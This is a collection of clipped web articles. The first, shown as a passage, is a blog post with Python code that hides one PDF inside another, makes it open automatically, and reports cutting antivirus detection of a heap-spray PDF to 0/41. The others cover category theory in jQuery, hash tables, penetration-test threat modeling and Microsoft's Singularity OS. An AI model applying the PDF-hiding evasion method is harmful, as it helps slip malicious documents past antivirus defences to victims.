name to ‘file.pdf’ and that this should be revisited if we are trying to embed
more than one file.

filespec = PDFDict\(\)  
filespec.add\(‘Type’,PDFName\(‘Filespec’\)\)  
filespec.add\(‘F’,PDFString\(‘file.pdf’\)\)  
filespec.add\(‘EF’, embeddedlst\)  
doc.add\(filespec\)

Excelent\!\! We are getting closer to the ultimate PDF hider\!\! The Filespec
dictionary will have this look ..

[code]

    M 0 obj
    << /Type /Filespec
         /F (file.pdf)
         /EF << /F N 0 R >>
    >>
    endobj
    
    
[/code]

##### \(3\) No we need to build the EmbeddedFiles list.

That’s easy, just build a dictionary that has a Names tag. Then put an array
of pairs mapping an utf-16 encoded name to the filespec dictionary. In few
words it should be something like this…

[code]

    <<
       /Names [<fffe610074007400610063006800> M 0 R]
    >>
    
    
[/code]

… where &ltfffe610074007400610063006800> is the utf-16 PDFHexString of the
string “attach” and “M 0 R” is a reference to the filespec dictionary.

names = PDFDict\(\)  
names.add\(‘EmbeddedFiles’,namesToFiles\)

And then just add the names dictionary to the document and reference it from
the Catalog. And the code will be similar to this…

namesToFiles = PDFDict\(\)  
namesToFiles.add\(‘Names’,
PDFArray\(\[PDFHexString\('attach'.encode\('utf-16'\)\),PDFRef\(filespec\)\]
\)\)

##### \(4\) And finally we put it under the global names list in the Catalog.

We create the Names dictionary and add it to the document…

names = PDFDict\(\)  
doc.add\(names\)

… then add the EmbeddedFiles entry as stated in PDF3200:1008.1::7.7.4\(Name
Dictionary\). And finally link it from the Catalog.

names.add\(‘EmbeddedFiles’,namesToFiles\)  
catalog.add\(‘Names’, PDFRef\(names\)\)

## WE HAVE EMBEDDED A FILE\!\!\!

The yet incomplete PDF with an embedded file containing “AAAA” is demostrated
here, an it actually have something under the ‘paper clip’, check it out …

<img src='img/Temp2_3459.png' />

## II\) Jump to the embedded PDF with GoToE

Now than we have added an embedded pdf to a pdf we’ll want to jump to it
without user intervention and \(why not\) without javascript.

For this we’ll set up a GoToE action and link it to the OpenAction or some
other trigger dictionary in the document.  
An action dictionary defines the characteristics and behaviour of an action,
and it is described in PDF3200:1008.1::12.6.2\(Action Dictionaries\).

Embedded go-to actions give a complete facility for linking between a file in
a hierarchy of nested  
embedded files and another file in the same or different hierarchy. The GoToE
action is described in PDF3200:1008.1::12.6.4.4\(Embedded Go-To Actions\), but
basically they have this look…

[code]

    <<
      /S /GoToE
      /T <</N <fffe610074007400610063006800>
           /R /C
           /NewWindow false
         >>
      /NewWindow false
    >>
    
    
[/code]

…where the N tag refers to the utf-16 encoded name of the embedded file. The
code for this action follows.

action = PDFDict\(\)  
action.add\(‘S’,PDFName\(‘GoToE’\)\)  
action.add\(‘NewWindow’,PDFBool\(False\)\)  
action.add\(‘T’,PDFDict\(\{‘N’: name, ‘R’: PDFName\(‘C’\), ‘NewWindow’:
PDFBool\(False\)\}\)\)  
doc.add\(action\)

Setting the NewWindow tag to True or False may change how the reader opens the
hided file. Funny things may happen when run from inside a browser \(\!\).

OK, all we have left is linking this action to some trigger that wouldn’t call
the user attention.. well we have OpenAction but let’s try something a lil
different now. Let’s put one of those AA trigger dictionaries to our single
dummy page on the host pdf. That’s done with something like this…

page.add\(‘AA’,PDFDict\(\{‘O’: PDFRef\(action\)\}\)\)

And finally render it out to stdout…

print doc \#:\)

And as we expect the pdf to hide in hte parameters.. we can use it like this…  
`  
python embeddPDF.pdf evil.pdf > goodness.pdf  
`

For a quick look on a representative sample of this code check here.

## III\) The virustotal.com test

It’s time for the virustotal.com test. I’ll try to hide the evilness of some
PDF embedding it into one of our hosts PDF, as described previously, and see
what happens.

I’m tired so I’ll pick one not-so-evil pdf I got from my previous post. So I
got thispdf which is a small pdf with a javascrip openaction featuring an
obcene heap spray usually easily detected by AVs. That gave this result on
virustotal.com, a 14 over 41 score.

Now lets embed it by our embeddPDF.py… I got this pdf. And when pass it to
virustotal.com it got detected by 2 of 41 AVs. Here you have the result.
Damn\! 0 out of 41 seems to be hard to get. Let’s try it again but this time
using the obfuscated miniPDF.py version piled on the embeddPDF.py. I got this
pdf. I passed it to virustotal… and got

-danger- \!\! 0/41 \!\! -danger-  

No AV have detected it\!\!

I suppose there are 1mill ways to accomplish this but it still feels g00d\!
The resultshere.

A complete test bundle with most of the code is here.

f/

Tags: antivirus, obfuscation, pdf, python, security

# johnbender.us - A Natural Transformation in JavaScript

**Created:**| _7/3/2012 7:48:27 PM_  
---|---  
**Updated:**| _7/3/2012 7:48:27 PM_  
**Author:**| __  
**Tags:**| _JavaScript html5_  
  

# johnbender.us

recent /  categories /  archives

# A Natural Transformation in JavaScript

Natural transformations are a foundational construct in category theory, so it
seems fitting to follow up my last post by describing one using the categories
**Html** and **Jqry**. As a result this post assumes the reader has covered
the material from the last post. Also, as much as I wish that I could claim a
similarly exciting result this will remain mostly an exercise in clarifying
what natural transformations are and how they behave. If it’s any consolation
I’ve borrowed some very attractive TeX diagrams from Wikipedia to help
illustrate.

# Natural Transformations

Natural transformations are actually fairly simple once you have an example
you can comprehend. One way to describe them is – a set of morphisms1 that
reconcile the way two functors from the same source to the same target
categories alter morphisms of the source category2. Unfortunately the written
descriptions seems to fall short in aiding comprehension, but as promised
there are pretty pictures:

<img src='img/Temp2_10418.png' alt='n sub x compose F applied to f is equal to
G applied to f compose n sub y' />

This equation is simple and captures the expected behavior of the natural
transformation `N` \(used in place of `η` hereafter\). Namely, it must
“prepare” input objects for a morphism transformed with `G`, ie `G(f)`, such
that the result will be identical to that of “repairing” the output objects
from a morphism transformed with `F`, ie `F(f)`. Again, this assumes that both
`F` and `G` share that same source and target categories. Also it helps to
remember that the input and output objects of `F(f)` and `G(f)` are in the
target category, so if `F` and `G` are both from categories **Html** to
**jQuery** we’re just dealing with objects in **Jqry**. If the notation is
confusing recall that `○` is the operator form of `$.compose` and that `F(f)`
is that same as `$.Functor(f)` from the previous post, both of which result in
JavaScript functions/morphisms. While this equation gives us an understanding
of how the transformation should function, it doesn’t help with comprehending
the transformations directionality and purpose.

<img src='img/Temp2_10419.png' alt='diagram of composition' />

Diagrams are used to clarify composition of morphisms, a \(the?\) key
operation in category theory. This diagram represents the same concept as the
equation but it makes the goal more obvious: from `F(X)` whether you take the
road to the east – `Ny ○ F(f)` or the road to the south – `G(f) ○ Nx` – the
result has to be the same. Again, the purpose of the natural tranformation is
get the results to look like `G(f)` results whether the operation started with
`F(f)` or ended with `G(f)`.

If, at this point, it’s still unclear don’t worry the JavaScript examples
should help.

## Two Functors

Since natural transformations are defined for two functors we’ll borrow the
`$.Functor` from the last post and then try to find another. As a quick
refresher the `$.Functor` functor maps from **Html** to **Jqry** using the
`$.fn.map` method. We’ll rename it `F` so that it’s easier to reconcile with
the diagram/equation.

[code]

    /** @sig {html.morphism | HTMLElement} -> {jqry.morphism | jQuery} */
    function F( a ) {
      if( typeof a === "function" ) {
        return function() {
          this.map( a );
        };
      }
    
      return $( a );
    }
    
[/code]

The new functor obviously has to be different, so let’s tweek the way that it
operates on the functions from **Html**. In this case the function it returns
only applys the `html.morphism` to the first member of the jQuery object’s
set. Note that it retains the same operation on objects in **Html** , the
application of `$()`.

[code]

    /** @sig {html.morphism | HTMLElement} -> {jqry.morphism | jQuery} */
    function G( a ) {
      if( typeof a === "function" ) {
        return function() {
          a( this[0] );
        };
      }
    
      return $( a );
    }
    
[/code]

An alternate implementation that forwards the arguments down to the
`html.morphism` is a bit more complex but much more useful3:

[code]

    /** @sig {html.morphism | HTMLElement} -> {jqry.morphism | jQuery} */
    function G( a ) {
      if( typeof a === "function" ) {
        return function() {
          var args = [].slice.call(arguments);
    
          args.unshift( this[0] );
          a.apply( this, args );
        };
      }
    
      return $( a );
    }
    
[/code]

At first this may seem like defining an alternate functor for the sake of it,
but there are already methods in jQuery Core that behave in this fashion. For
example a naive implementation of the `$.fn.css` method using the argument-
forwarding form of our new functor4:

[code]

    $.fn.newCss = G(function( elem, key, value ){
      elem.setAttribute( "style",  key + ": " + value );
      return elem;
    });
    
    var $foo = $( ".foo" );           // [<div class="foo"></div>, <span class="foo"></span>]
    $foo.newCss( "display", "none" ); // [<div class="foo" style="display: none"></div>,
                                      //  <span class="foo"></span>]
    
[/code]

Now we’ve got two functors that satisfy the basics needed to define a natural
transformation. They both have the same source and target categories, **Html**
and **Jqry** respectively, but they are distinct in the way that they achieve
the goal of translating the functions/morphisms from **Html** into
functions/morphisms in **Jqry**. Now we just need to find a way to make
results from `F` look like results from `G`.

## Finding the Transformation

Recall from the diagram that the natural transformation must produce the same
result whether it’s composed “in front of” a `$.fn` method defined with `G` or
after a `$.fn` method defined with `F`. Lets look at an example of two methods
built with `F` and `G` using the css function in the previous example to see
if that points us in the right direction. For completeness’ sake we need to
modify `F` so that the function it returns accepts arguments:

[code]

    /** @sig {html.morphism | HTMLElement} -> {jqry.morphism | jQuery} */
    function F( a ) {
      if( typeof a === "function" ) {
        return function() {
          var $this = this,
              args = [].slice.call(arguments);
    
          this.map(function( elem ) {
            args.unshift( elem );
            return a.apply( $this, args );
          });
        };
      }
    
      return $( a );
    }
    
[/code]

Having squared that let’s look at an example definition of two `$.fn` methods
using the Functors.

[code]

    var alterCss = function( elem, key, value ){
      elem.setAttribute( "style",  key + ": " + value );
      return elem;
    };
    
    $.fn.mapCss = F(alterCss);
    $.fn.oneCss = G(alterCss);
    
    var $foo = $( ".foo" );           // [<div class="foo"></div>, <span class="foo"></span>]
    $foo.mapCss( "display", "none" ); // [<div class="foo" style="display: none"></div>,
                                      //  <span class="foo" style="display: none"></span>]
    
    var $bar = $( ".bar" );           // [<div class="bar"></div>, <span class="bar"></span>]
    $bar.oneCss( "display", "none" ); // [<div class="bar" style="display: none"></div>,
                                      //  <span class="foo"></span>]
    
[/code]

Here `$.fn.mapCss` is equivelant to `F(f)` and `$.fn.oneCss` is equivelant to
`G(f)` in the equation and diagram. As you would expect the method created
using `G` only alters the first element in the jQuery object set where as the
method created with `F` alters all the elements. So our hypothetical natural
transformation could simply reduce the jQuery object set to the first element
in which case both results would be the same. The `$.fn.first` method should
serve. Borrowing the `$.compose` function, again from the previous post, we
can verify that it matches the equation.

[code]

    $.fn.FtoNy = $.compose( $.fn.first, F(alterCss) );
    $.fn.NxToG = $.compose( G(alterCss), $.fn.first );
    
    $( ".foo" ).FtoNy( "display", "none" ); // [<div class="foo" style="display: none"></div>]
    $( ".bar" ).NxToG( "display", "none" ); // [<div class="bar" style="display: none"></div>]
    
[/code]

If you replace the application of `$.compose` with the infix operator `○` it
looks just like the equation:

<img src='img/Temp2_10418.png' alt='n sub x compose F applied to f is equal to
G applied to f compose n sub y' />

With the order reversed we can use the more idiomatic fluent invocation:

[code]

    $.fn.mapCss = F(alterCss);
    $.fn.oneCss = G(alterCss);
    
    $( ".foo" ).mapCss( "display", "none" ).first(); // [<div class="foo" style="display: none"></div>]
    $( ".bar" ).first().oneCss( "display", "none" ); // [<div class="bar" style="display: none"></div>]
    
[/code]

Let’s alter the diagram to use the new method names:

<img src='img/Temp2_10420.png' width='200' height='162' alt='altered diagram'
/>

As you can see the southerly route first limits the jQuery object set and then
applys the method that only operates on the first object, whereas the easterly
route first applys the method that opperates on all the functions in the
jQuery object set and then limits the set to one result. Most of the time
you’ll want to head South to save yourself some execution time.

## Naturally

The result of our work is a trivial optimization that most users should be
able spot, ie. they might be creating a method chain that invokes `$.fn.first`
too late. In any case, the fact that we can arrive at this conclusion by
viewing the JavaScript through the lense of mathematics continues to astound
me and it makes me wonder what interesting things I might find by examining
Monoids and Cartesion Closed categories.

  1. Thanks to Dan Peebles, otherwise known as copumpkin, for reviewing the introduction to natural transformations and suggesting this addition.
  2. This is far from rigorous. For a more concrete definition checkout the wikipedia page and haskell wiki page pages. My attempt to rephrase the definition comes from my experiences learning abstract concepts like this where I’ve often been aided by many different renderings of the same idea.
  3. It’s important to keep in mind that, as a result of forwarding the arguments, we’ve technically changed the type signature of the **Html** morphism from `HTMLElement -> HTMLElement` to `HTMLElement, String, String -> HTMLElement`. For the purposes of our discussion I thought it was usefull to pull an existing example from jQuery to illustrate how the second functor works. Also if the jQuery object is empty this will \`unshift\` undefined as the first argument. Again, clarity proved to be more important.
  4. This implementation omits even simple style persistence for the sake of focusing the reader on the subject matter.

###

# Know your Times Tables, but... do you know your

**Created:**| _6/29/2017 3:57:05 PM_  
---|---  
**Updated:**| _6/29/2017 3:57:05 PM_  
**Author:**| __  
**Tags:**| __  
  

  

2017-02-20 Marty Jacobs

#  Know your Times Tables, but... do you know your "Hash Tables"?

Diving into the world of Hash Tables and understanding the underlying
mechanics is _extremely_ interesting, and very rewarding. So lets get into it
and get started from the beginning.

A Hash Table is a common data structure used in many modern day Software
applications. It provides a dictionary-like functionality, giving you the
ability to perform opertations such as inserting, removing and deleting items
inside it. Let’s just say I want to find what the definition of what “Apple”
is, and I know the defintion is stored in my defined Hash Table. I will query
my Hash Table to give me a defintion. The _entry_ inside my Hash Table might
look something like this `"Apple" => "A green fruit of fruity goodness"`. So,
“Apple” is my _key_ and “A green fruit of fruity goodness” is my associated
_value_.

One more example just so we’re clear, take below the contents of a Hash Table:

[code]

    1234
[/code]

|

[code]

    "bread" => "solid""water" => "liquid""soup" => "liquid""corn chips" => "solid"
[/code]  
---|---  
I want to look up if _bread_ is a solid or liquid, So I will query the Hash
Table to give me the associated value, and the table will return to me with
“solid”. Ok so we got the generally gist of how it functions. Another
important concept to note with Hash Tables is the fact that every key is
unique. Let’s say tomorrow, I feel like having a bread milkshake \(which is a
_liquid_\), we now need to update the Hash Table to reflect its change from
solid to liquid\! So we add the entry into the dictionary, the key : “bread”
and the value : “liquid”. Can you spot what has changed in the table below?

[code]

    1234
[/code]

|

[code]

    "bread" => "liquid""water" => "liquid""soup" => "liquid""corn chips" => "solid"
[/code]  
---|---  
That’s right, bread has been updated to have the value “liquid”.

**Keys are unique** , my bread can’t be both a liquid and a solid. But what
makes this data structure so special from the rest? Why not just use an Array
instead? It depends on the nature of the problem. You may very well be better
off using a Array for a particular problem, and that also brings me to the
point, **choose the data structure that is most suited to your problem**.
Example, If all you need to do is store a simple grocery list, an Array would
do just fine. Consider the two problems below, each problem is very different
in nature.

  1. I need a grocery list of fruit
  2. I need a grocery list of fruit and how much each it will cost me \(per kilogram\).

As you can see below, an Array might be a better choice for storing the fruit
for the grocery list. But a Hash Table looks like a better choice for looking
up the cost of each item.

[code]

    123456789
[/code]

|

[code]

    //Example Array ["apple, "orange", "pear", "grape"]   //Example Hash Table  { "apple" : 3.05,     "orange" : 5.5,     "pear" : 8.4,     "grape" : 12.4  }
[/code]  
---|---  
There are literally so many oppurtunities to use Hash Tables.

### Time and what that means to you

A brush up on time and space complexity.

On average it takes a Hash Table O\(1\) to search, insert and delete entries
in the Hash Table. For the unaware, O\(1\) is spoken as “Big O 1” and
represents constant time. Meaning that the running time to perform each
operation is not dependent on the amount of data in the dataset. We can also
_promise_ that for searching, inserting and deleting items will take constant
time, “IF AND ONLY” IF the implementation of the Hash Table is done right. If
it’s not, then it can be really slow _O\(n\)_ , especially if everything
hashes to the same position/slot in the Hash Table.

###  Building a good Hash Table

So far we now understand how to use a Hash Table, but what if we wanted to
**build** one? Essentially what we need to do is map a string \(eg. “dog”\) to
a **hash code** \(a generated number\), which maps to an index of an Array.
You might ask, why not just go straight to using indexes? Why bother? Well
this way it allows us to find out immediately where “dog” is located by
quering directly for “dog”, `String name = Array["dog"] //name is "Lassy"`.
But with using an index to look up the name, we could be in the likely
situation that we do not know the index where the name is located. For
example, `String name = Array[10] // name is now "Bob"` \- that’s not my dog’s
name\! And that is the benefit of mapping the string to a hash code \(which
corresponds to an index of an Array\). We can get the index of the Array by
using the modulo operator with the size of the Hash Table, `index = hash_code
% table_size`.

Another situation that we want to avoid is having two keys mapping to the same
index, this is called a **hash collision** and they’re very likely to happen
if the hash function is not properly implemented. But the truth is that every
hash function _with more inputs than outputs_ there is some chance of
collision. To demonstrate a simple collision take the following two function
outputs below:

`int cat_idx = hashCode("cat") % table_size; //cat_idx is now equal to 1`

`int dog_idx = hashCode("dog") % table_size; //dog_idx is now also equal 1`

We can see that both Array indexes are now 1\! And as such the values will
overwrite each other because they are being written to the same index. Like if
we tried to look up the value for “cat” it would then return “Lassy”. Not what
we wanted after all. There are various methods of resolving hash collisions,
the more popular one is called **Chaining**. The idea with chaining is that
there is a Linked List for each index of an Array. If a collision occurs, the
value will be stored inside that Linked List. Thus in the previous example, we
would get the value we requested, but it we would need to search a Linked List
attached to the index 1 of the Array. Hashing with Chaining achieves O\(1 +
α\) time where α is the load factor which can be represented as n/k, n being
the number of entries in the Hash Table and k being the number of slots
available in the Hash Table. But remember this only holds true if the keys
that you give are particularly random \(relying on SUHA\)\).

This is a big assumption to make, as there is always a possibility that non-
equal keys will hash to the same slot. One solution to this is to take the
reliance of randomness away from what keys are given to the Hash Table, and
put the randomness on how the keys will be hashed to increase the likeliness
of _very few conflicts_ occuring. And this is known as…

###  Universal Hashing

The concept is pretty simple, select _at random_ a hash function h from the
set universal hash family to compute the hash code. So in other words, choose
any random hash function to hash the key\! And by following this method it
provides a _very low_ probability that the hashes of two distinct keys will
not be the same. I will keep this one short, but if you don’t trust me then
trust Mathematics instead. Also another thing to watch out for is when
implementing this method be careful of having a bad universal hash family. It
can blow out the time and space complexity to O\(U\) where U is the size of
the family. And where the challenge lies is finding a Hash family that does
not take too much time to compute, and too much space to store.

###  A Hash function of the Gods

The search for perfection is inevitable. What if we could construct a _Perfect
hash function_ where we could just map things to a set of integers with
absolutely _no collisions_. Good news is we can do this, Well kind of.. but
our data has to be static \(which means no insertions/deletes/updates can
assured constant time\). One approach to achieve a perfect hash function is to
use _2-Level Hashing_ , it is basically a combination of the last two ideas we
previously discussed. It uses _Universal Hashing_ to select which hash
function to use, and then combines it with _Chaining_ , but this time instead
of using a Linked List data structure we use another Hash Table\! Let’s see
how this looks visually below:

<img src='img/Temp2_4807.png' width='740' height='417' alt='2-Level Hashing'
/>

**But how does this work and how can we ensure no lookup collisions?**

Well it works in reverse to the Birthday paradox. It states that in a set of N
randomly chosen people, some pair will have the same birthday. But if the
number of days in a year far outwighs the number of people \(squared\) then
there is a damn good possibility that no pair of people will share the same
birthday. So how it relates is, for each chained Hash Table is the size of the
first-level Hash Table _squared_. That is if 2 elements happen to hash to the
same slot, then the size of the chained Hash Table will be of size 4. Most of
the time the chained Tables will be very sparse/empty.

Repeat the following two steps to ensure no look up collisions,

  * Select a hash from the universal hash family
  * If we get a collision, then select another hash from the universal hash family.

Literally that is it, \(Well.. for an O\(N^2\) space solution anyway\). If
space is a concern, then a different approach is obviously needed. But the
great thing is that we will only ever have to do this process on average
**twice**.

###  Summing up

A Hash Table is only as good as it’s _Hash function_. Deriving a _Perfect hash
function_ is much harder to achieve without losing in particular areas such as
functionality, time and space. I invite you to always consider Hash Tables
when solving a problem as they offer great performance benefits and they can
make a noticeable difference in the usability of your application. Hash Tables
and Perfect hash functions are often used in Real-time programming
applications. And have been widely implemented in algorithms around the world.
Hash Tables are here to stay.

Thanks for reading, and don't forget to subscribe for updates below\!

  
  
  

**Newer**

Sorting your data out

**Older**

Git is always a great start

  

# Matasano Security LLC - Chargen - Ninja Threat Modeling

**Created:**| _10/21/2009 8:31:06 PM_  
---|---  
**Updated:**| _10/21/2009 8:31:28 PM_  
**Author:**| __  
**Tags:**| _Threat-modeling_  
  

## Ninja Threat Modeling

OCT 20, 2009 AT 9:00AMCORY S.

### Conquer your fear

Like it or not, developing an attack plan for a penetration test requires
standing up a rudimentary threat model. Not surprisingly, threat modeling
often produces discomfort in the stomach and uncertainty in the heart of many
testers, but you’ve got to cowboy up and do it.

<img src='img/Temp2_5260.jpg' />

You need to determine where you’re going to spend your limited testing time,
which tools you want to pull out of your arsenal, and how to prioritize your
findings after the test is complete. Testing an application while blind to the
context of how it could be abused in a real world environment is a sure-fire
recipe for disaster and embarrassment.  
  
Start with an application overview sitting peacefully on your desk. A sudden
bang, a quick diversion, a cloud of smoke - and a test plan appears in its
place… Fear no more, for the guide to ninja threat modeling is here.

  
  

### SDL: This isn’t the threat model you’re looking for

You’ve probably heard of threat models before, especially in traditional
security development lifecycle circles. In that context, the threat models are
generated in the requirements/design phase, which is much earlier in the
process. It has spawned not just one, but two, Visio-driven toolsets from
Microsoft and countless data-flow diagrams, attack trees, consulting
engagements, and perplexed developers. When performed by a skilled and
experienced team member, the model can be used to identify architectural
weaknesses, guide default application behavior, and outline functional
requirements for the product.  
  
However, by the time you’re in the verification phase of the lifecycle,
generating a formal threat model starts to yield diminishing returns. We
recommend taking a short-cut with a set of assumptions that have served us
well over the years.

### Software would be great if it wasn’t for the users:  
Client-side code assumptions

  * The attacker will have unfettered access to the client and will instrument all of the functionality \(this includes the “secret” admin and debug functions\), and all of the client-side controls will be removed.
  * If it accesses the network, there’s a man-in-the-middle.
  * All input will be malformed and unexpected - even from the trusted end user… who will happily introduce input from untrusted sources.
  * The source code is completely exposed - including any secrets stored in the code.
  * If the application runs at a privilege level that the attacker desires, he will attempt to abuse it for nefarious purposes.
  * Don’t assume the code you’re testing is the attacker’s final destination in his path of exploitation. If the code weakens the system’s security posture in any way, the attacker will abuse it.

### “I’m sorry, Dave. I’m afraid I can’t do that”:  
Server-side code assumptions

  * All of the assumptions for client-side code hold for server-side code as well. This includes the source code disclosure assumption if you’re shipping product. If you’re running SaaS, it’s more of a question of when, not if.
  * The attacker is going to sit on the same network segment as the application. There’s no firewall or filters. There’s a special place in hell reserved for products that require firewalls or filtering to protect themselves against attack.
  * The naming service that the product relies upon will be compromised.
  * The switching and routing fabrics will be compromised.
  * If you have more than one defined user, one user will want to do things as the other user.
  * If you have more than one defined role, a user in one role will want to perform functions in the other role.
  * An attacker may want to cover their tracks. If he can do it with subtlety, he will take that path if it is easy to do.
  * If it is exposed to the Internet, some yahoo will want to make it crash with an asymmetric attack \(think packet of death or attack amplification\).
  * If the application runs on a multi-user system, other users on the system will attempt to subvert the application through any and all resources they can access \(such as the file system, shared frameworks, IPC, and others\).
  * If the application uses URIs \(HTTP/FTP/SMTP/ITMS, whatever\), an attacker has compromised the innocent client and has access to the session command channel.

### A return to olde SDL land?

With these assumptions in place, you could go ahead and do some basic data
flow analysis. You should be able identify key entry points in the application
where data and functionality cross trust boundaries. If you want to stay in
step with Microsoft, feel free to pull out the STRIDE\* model and apply the
threat types to each entry point, keeping in mind the assumptions mentioned
above. With the threat landscape outlined, you’ll find the STRIDE process will
go faster than simply working from a blank data flow diagram without context.  
  
However, ninja threat modeling uses data flow analysis as a clean-up task,
rather than the opening salvo. We’re impatient and want to know the answer to
the question,”What entry points should we really care about?” right away.

**\* As required by the SDL powers-that-be, I am obligated to mention STRIDE
threat types \(Spoofing, Tampering, Repudiation, Information Disclosure,
Denial of Service, and Elevation of Privilege\) in all communications relating
to threat modeling at least once.**

### Where there’s smoke, there’s fire

A heat-seeking approach to drive your test plan is just what you need. When we
blather on about entry points, trust boundaries, and threat vectors, what
we’re really thinking is “Where can I do the most damage in the shortest
period of time?”  
  
The ninja threat model relies on two techniques: incident and vulnerability
history and the commission of deadly sins.

### Those who cannot learn from history are doomed to repeat it

The first technique examines how the product or similar products have been
abused in the past. Don’t just look up old advisories or bug reports - look
for incident data. Did a product have a vulnerability that allowed malicious
code to spread? Was the vulnerability discovered and abused by a 16-year-old
to make lots of friends on the social networking platform of the day?  
  
Examine these abuse cases and make sure you can recreate them against the
application you’re testing. At the root of each one, there should be a
vulnerability, a threat actor, and an impacted asset. If you’re stuck with dry
vulnerability advisories, sometimes the researcher will have a good grasp on
the impact of the finding and will document it well. In other cases, you have
to watch out for advisories with overreaching statements or extreme
speculation.  
  
What’s nice about these types of derived threats is a good amount of the test
planning is already done for you and can be lifted wholesale. Watch out for
tunnel vision, though - time, platform specifics, or other dependencies may
have limited the avenues available to the researcher or intruder. Make sure
you’re looking for the pattern that indicates the flaw is present, not just
performing a pattern match on yesterday’s exploit.

### Where DIY should be DDIY - Don’t Do it Yourself

The second technique focuses on what developers get wrong most of the time -
otherwise known as the “Deadly Sins”. The vulnerabilities introduced by these
common flaws are mentioned for a reason: they get abused by threat actors on a
regular basis.  
  
Every security outfit has a list of their deadly sins, including Microsoft,
SANS, OWASP, and Matasano, because lists are just that cool. We think ours is
better for one major reason - our Deadly Sins are features rather than
defects. As a result, our work fits into ninja threat modeling much cleaner
than a laundry list of vulnerabilities.  
  
It’s an issue of perspective and language. Developers don’t roll out of bed in
the morning and say, “I’m going to code up a few SQL Injection vulnerabilities
today\!” Instead, they say, “I’m going to write the Advanced Search module for
the Report Engine today\!” When you hear this, your utter lack of faith in
your development brethren should kick into overdrive and you should be busily
entering “Test for SQL Injection here, here, and here” in your test plan.  
  
We’ve appended our list of Deadly Sins for Web Applications for easy
reference. Parts of it also apply to other sorts of applications. When you see
these features, get out your red pen, add another page to your test plan, and
start outlining how many different ways developers get these things wrong and
how to test for it.

### Time for the test plan

After wrapping up the heat-seeking exercises, it’s time to sanity check your
work with data flow analysis including the selective application of STRIDE
mentioned earlier. Hopefully, the overlap should be extensive. If it isn’t,
you may be dealing with something that hasn’t been tested extensively and may
bear some interesting fruit. On the other hand, you may have been assigned the
most boring application known to mankind. Congratulations\!  
  
After following this approach, you should have a good definition of the
application’s attack surface and the threat landscape which you will be
attempting to recreate. As a result, you should be able to produce a
meaningful test plan with a threat model that is defensible and sufficient to
guide your engagement. You might even get away with doing one without a single
Visio diagram.

# **Deadly Features for Web Applications**

  

1\. Security

  * Encryption
  * Hierarchical role/privilege management
  * Password storage
  * Password reset

  
2\. E-mail functionality  
  
3\. Thick Clients: Web Applications In Name Only \(WINOs\)  
  
4\. File Upload/Download  
  
5\. Templating and Content-Controlled Code  
  
6\. Advanced Search  
  

# **More Deadly Features for Applications**

  

7\. Persistent network sockets that accept arbitrary connections  
  
8\. Installers  
  
9\. Use of plug-ins or third party software to write directly to the DOM  
  
10\. Single Sign-On / Authentication Hand-offs

# Singularity - Microsoft Research

**Created:**| _4/3/2011 5:59:25 PM_  
---|---  
**Updated:**| _4/3/2011 5:59:25 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research Microsoft_  
  

Singularity

OS and tools for building dependable systems

  

"...it is impossible to predict how a singularity will affect objects in its
causal future." \- NCSA Cyberia Glossary

# What's New?

The Singularity Research Development Kit \(RDK\) 2.0 is now available for
academic non-commercial use. You can download it from CodePlex, Microsoft's
open source project hosting website, here.

Our recent article in _Operating Systems Review_, Singularity: Rethinking the
Software Stack, is a concise introduction to the Singularity project. It
summarizes research in the current Singularity releases and highlights ongoing
Singularity research.

# Overview

Singularity is a research project focused on the construction of dependable
systems through innovation in the areas of systems, languages, and tools. We
are building a research operating system prototype \(called Singularity\),
extending programming languages, and developing new techniques and tools for
specifying and verifying program behavior.

Advances in languages, compilers, and tools open the possibility of
significantly improving software. For example, Singularity uses type-safe
languages and an abstract instruction set to enable what we call Software
Isolated Processes \(SIPs\). SIPs provide the strong isolation guarantees of
OS processes \(isolated object space, separate GCs, separate runtimes\)
without the overhead of hardware-enforced protection domains. In the current
Singularity prototype SIPs are extremely cheap; they run in ring 0 in the
kernel’s address space.

Singularity uses these advances to build more reliable systems and
applications. For example, because SIPs are so cheap to create and enforce,
Singularity runs each program, device driver, or system extension in its own
SIP. SIPs are not allowed to share memory or modify their own code. As a
result, we can make strong reliability guarantees about the code running in a
SIP. We can verify much broader properties about a SIP at compile or install
time than can be done for code running in traditional OS processes. Broader
application of static verification is critical to predicting system behavior
and providing users with strong guarantees about reliability.

Publications

  * Edmund B. Nightingale, Orion Hodson, Ross McIlroy, Chris Hawblitzel, and Galen Hunt, Helios: Heterogeneous Multiprocessing with Satellite Kernels, in _Proceedings of the 22nd Symposium on Operating Systems Principles \(SOSP '09\)_ , Association for Computing Machinery, Inc., Big Sky, MT, October 2009
  * Galen C. Hunt and James R. Larus, Singularity: Rethinking the Software Stack, in _ACM SIGOPS Operating Systems Review_ , vol. 41, no. 2, pp. 37-49, Association for Computing Machinery, Inc., April 2007
  * Ted Wobber, Aydan Yumerefendi, Martín Abadi, Andrew Birrell, and Daniel R. Simon, Authorizing Applications in Singularity, in _Proceedings of the 2007 Eurosys Conference_ , Association for Computing Machinery, Inc., Lisbon, Portugal, March 2007
  * Galen Hunt, Chris Hawblitzel, Orion Hodson, James Larus, Bjarne Steensgaard, and Ted Wobber, Sealing OS Processes to Improve Dependability and Safety, in _Proceedings of the European Conference on Computer Systems \(EuroSys\)_ , Association for Computing Machinery, Inc., Lisbon, Portugal, March 2007
  * Aiken, Mark, Fähndrich, Manuel, Hawblitzel, Chris, Hunt, Galen, Larus, and James R., Deconstructing Process Isolation, in _ACM SIGPLAN Workshop on Memory Systems Performance and Correctness_ , ACM, San Jose, CA, October 2006
  * Larus, James, Hunt, Galen, Tarditi, and David, \{End Bracket\} Singularity, in _MSDN Magazine_ , vol. 21, no. 7, pp. 176, June 2006
  * Paul Barham, Rebecca Isaacs, Richard Mortier, and Tim Harris, Learning communication patterns in Singularity, in _Proceedings of the First Workshop on Tackling Computer Systems Problems with Machine Learning Techniques \(SysML\)_ , June 2006
  * Galen C. Hunt, Mark Aiken, Paul Barham, Manuel Fahndrich, Chris Hawblitzel, Orion Hodson, James R. Larus, Steven Levi, Nick Murphy, Bjarne Steensgaard, David Tarditi, Ted Wobber, and Brian D. Zill, Sealing OS Processes to Improve Dependability and Security, no. MSR-TR-2006-51, April 2006
  * Michael Spear, Tom Roeder, Orion Hodson, Galen C. Hunt, and Steven Levi, Solving the Starting Problem: Device Drivers as Self-Describing Artifacts, in _Proceedings of the EuroSys 2006 Conference_ , Association for Computing Machinery, Inc., April 2006
